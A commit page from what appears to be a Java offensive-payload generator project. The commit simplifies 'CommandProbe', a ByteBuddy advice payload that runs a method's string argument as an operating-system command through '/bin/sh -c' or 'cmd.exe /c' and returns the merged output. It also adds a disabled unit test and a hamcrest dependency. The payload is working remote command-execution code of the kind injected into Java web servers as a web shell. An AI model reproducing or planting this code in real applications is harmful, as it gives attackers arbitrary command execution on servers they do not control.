Skip to content

Commit 9a52214

Browse files
committed
refactor: simplify CommandProbe
1 parent ab46f38 commit 9a52214

File tree

3 files changed

+27
-7
lines changed

3 files changed

+27
-7
lines changed

generator/build.gradle.kts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ dependencies {
4141
implementation(libs.bcel)
4242
implementation(libs.jackson.databind)
4343
testImplementation(libs.junit.jupiter)
44+
testImplementation(libs.hamcrest)
4445
testRuntimeOnly(libs.junit.platform.launcher)
4546
testImplementation(libs.bundles.mockito)
4647
}

generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
import lombok.SneakyThrows;
44
import net.bytebuddy.asm.Advice;
55

6-
import java.util.NoSuchElementException;
76
import java.util.Scanner;
87

98
/**
@@ -20,12 +19,8 @@ public CommandProbe(String command) {
2019
@Advice.OnMethodExit
2120
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
2221
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
23-
Process process = new ProcessBuilder(cmd).start();
24-
try {
25-
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
26-
} catch (NoSuchElementException e) {
27-
return ret = new Scanner(process.getErrorStream()).useDelimiter("\\A").next();
28-
}
22+
Process process = new ProcessBuilder(cmd).redirectErrorStream(true).start();
23+
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
2924
}
3025

3126
@Override
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package com.reajason.javaweb.probe.payload;
2+
3+
import org.junit.jupiter.api.Disabled;
4+
import org.junit.jupiter.api.Test;
5+
6+
import static org.hamcrest.CoreMatchers.anyOf;
7+
import static org.hamcrest.CoreMatchers.containsString;
8+
import static org.hamcrest.MatcherAssert.assertThat;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/8/26
13+
*/
14+
class CommandProbeTest {
15+
16+
@Test
17+
@Disabled
18+
void test() {
19+
String result = new CommandProbe("hello").toString();
20+
assertThat(result, anyOf(
21+
containsString("not found")
22+
));
23+
}
24+
}

0 commit comments

Comments
 (0)